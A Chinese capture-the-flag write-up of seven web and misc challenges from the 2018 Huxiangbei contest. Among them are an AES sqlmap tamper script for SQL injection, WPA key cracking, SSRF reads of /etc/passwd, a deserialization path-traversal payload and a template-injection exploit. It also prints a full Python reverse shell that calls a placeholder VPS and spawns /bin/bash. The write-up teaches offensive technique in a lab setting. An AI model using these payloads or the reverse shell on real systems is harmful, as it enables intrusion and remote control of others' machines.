2018湖湘杯web、misc記錄

          

1.題目名 Code Check

 

 

    打開題目,右鍵發現有id參數的url,簡單base64解碼之後發現不是明文,說明利用了其餘的加密方式,那麼應該會有具體的加密方式給咱們,因而試試常見的文件泄露,能夠發現list.zip,打開發現是具體的解密邏輯與查詢邏輯。php

    

 

    有了解密邏輯咱們就能夠逆着寫出加密邏輯,另外id參數明顯存在注入,只須要寫一個加密的sqlmap的tamper腳本,而後放到sqlmap的tamper目錄下就能夠了,以後在sqlmap裏跑一跑就能夠出flaghtml

 

          下面是改過的tamper腳本前端

#!/usr/bin/env python

"""

Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)

See the file 'LICENSE' for copying permission

"""

import base64

from Crypto.Cipher import AES

from lib.core.enums import PRIORITY

from lib.core.settings import UNICODE_ENCODING

 

__priority__ = PRIORITY.LOWEST

 

def dependencies():

    pass

 

def encrypt(text):

    padding = '\0'

    key = 'ydhaqPQnexoaDuW3'

    iv = '2018201920202021'

    pad_it = lambda s: s+(16 - len(s)%16)*padding

    cipher = AES.new(key, AES.MODE_CBC, iv)

    text = text + 'hxb2018'

    return base64.b64encode(base64.b64encode(cipher.encrypt(pad_it(text))))

def tamper(payload, **kwargs):

         return encrypt(payload)

 

 

 

2.題目名 Flow

         題目是個流量包,802.11的,數據包是加密的,因此嘗試一下能不能爆破出來key來解密一下上層的其餘數據包來找flag,通常作無線的題目須要用到aircrack-ng這個無線破解工具。python

   首先須要一個弱密碼的字典,而後運行 aircrack-ng -w 字典名 + 流量包,運氣比較好恰好爆破出來了key爲password1web

 

 

    有了key就能導入到wireshark裏面對wpa加密的無線數據包進行解密sql

 

 

                 解密以後在導出http對象中發現flagshell

 

 

    

 

 

3.題目名 readflag

    ssrf的題目,首先讀了下/etc/passwd沒有什麼有用的東西,因此繼續讀一下/etc/hosts發現內網裏面有兩臺主機apache

 

 

 

 

 

     通過簡單測試,發現題目的內網主機號爲230,另外一臺內網機器的主機號是183,因此嘗試讀一下另外一個機器上的文件,首先讀一下apache的配置文件,發現以下路徑樹後端

 

 

     又由於http的網站在站點的配置文件下有默認的000-default.conf,因此嘗試訪問以下:bash

 

 

           發現了web的源碼路徑,直接讀取

 

 

    發現路徑/var/www/html/ssrf/readflag,嘗試訪問是個elf,一堆亂碼,因此用wget下載這個elf,而後ida裏面加載一下發現以下:

 

 

    因此更改一下路徑,讀取以下,獲得flag

 

 

4.題目名 mynote

        這是一道反序列化的題目,在咱們註冊登錄之後,在抓包中發現picture參數有問題,base64解碼發現其爲序列化的數據,因此猜想是否其存在反序列化漏洞,咱們上傳一個jpg文件

 

 

   又由於後端會訪問咱們上傳的圖片並會返回到前端,因此嘗試是否能夠讀取任意文件,上傳1.jpg之後,抓包而且改成payload爲a:1:{i:0;s:14:」../../flag.php」;},而後放包以下圖所示,能夠看到一串base64編碼

 

 

 

解密後就能看到flag如上圖所示

 

5. 管理員的flag在哪裏?

       註冊登錄後,在添加標題那裏剛開始選擇「是」這個選項,覺得是xss,可是沒效果,因而選擇「否」,添加標題後發現有show頁面,嘗試了一下模板注入的payload

 

 

 

 

 

 

       返回了9說明的確存在模板注入,因而嘗試是否能夠執行命令

構造payload以下:

 

 

     返回的值證實能夠執行命令,又繼續嘗試了一下curl和wget 都能使用,因此嘗試反彈一下shell試試,在vps上監聽一下端口,使用exp下載vps上的shell.py文件並執行,構造如下payload:

 

 

 

shell以下:

#!/usr/bin/env python

#coding:utf-8

 

import os

import pty

import socket

lhost = "xx.xx.xx.xx" #vps的ip地址

lport = 21192 #vps的端口

 

def main():

    s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    s.connect((lhost,lport))

    os.dup2(s.fileno(),0)

    os.dup2(s.fileno(),1)

    os.dup2(s.fileno(),2)

    pty.spawn('/bin/bash')

    s.close()

 

main()

 

 

                分別show以上的兩條payload之後就可以拿到shell,在Xme0目錄下存在auto.js 查看它以下圖所示獲得flag

 

6.disk

 下載一個是一個vmdk文件,首先看看能不能提取出來啥東西,這裏須要用到7z

 

 

 

    提取出來裏面有四個flag文件,可是打開並非flag,隊友說可能跟NTFS隱藏數據流有關係,因此百度一波,在網上找到以下工具

 

 

 

可以檢測出隱藏在文件中的NTFS數據流,搜索一下果真找到了可疑的數據流

 

 

    百度到ads原來是能夠隱藏後門的,因而分別打開四個flag文件

 

 

 

        打開flag1.txt後是一段二進制,在線將其轉化爲字符串試試

 

 

           發現是flag,因此繼續轉換後面的三個文件中的二進制文件並轉換就能夠獲得flag

 

 

7.Hidden Write

   首先拿到圖片先binwalk一下,發現什麼都沒有

 

 

    而後strings一下圖片

 

 

    結尾發現flag的一部分字符串78cd89c18c

    確定在別的地方還有flag的其餘部分,因此用16進制編輯器看看圖片,發現其有三個圖片其中兩張圖片沒有頭部的前8個字節,因此把兩張圖片摳出來加上頭部,就變成3張圖片了

 

 

      此時掏出stegsolve來給三張圖片用一用,在第二張圖中發現了bgr通道的lsb隱寫

 

 

     hxb2018{1e30f3b836d78d25c ,由此獲得了flag的另外一個部分,此時明顯還少最後一個部分,此時有三張圖片固然想到用盲水印,之前在比賽中遇到過,因此用下圖所示的工具試試:

 

 

 

 

       因爲有3張圖片因此須要兩兩結合來花費3次來嘗試

 

 

 

 

    由此獲得flag的最後一段爲20b4a}

    最後拼接獲得flag:

hxb2018{1e30f3b836d78d25c78cd89c18c20b4a}

相關文章
相關標籤/搜索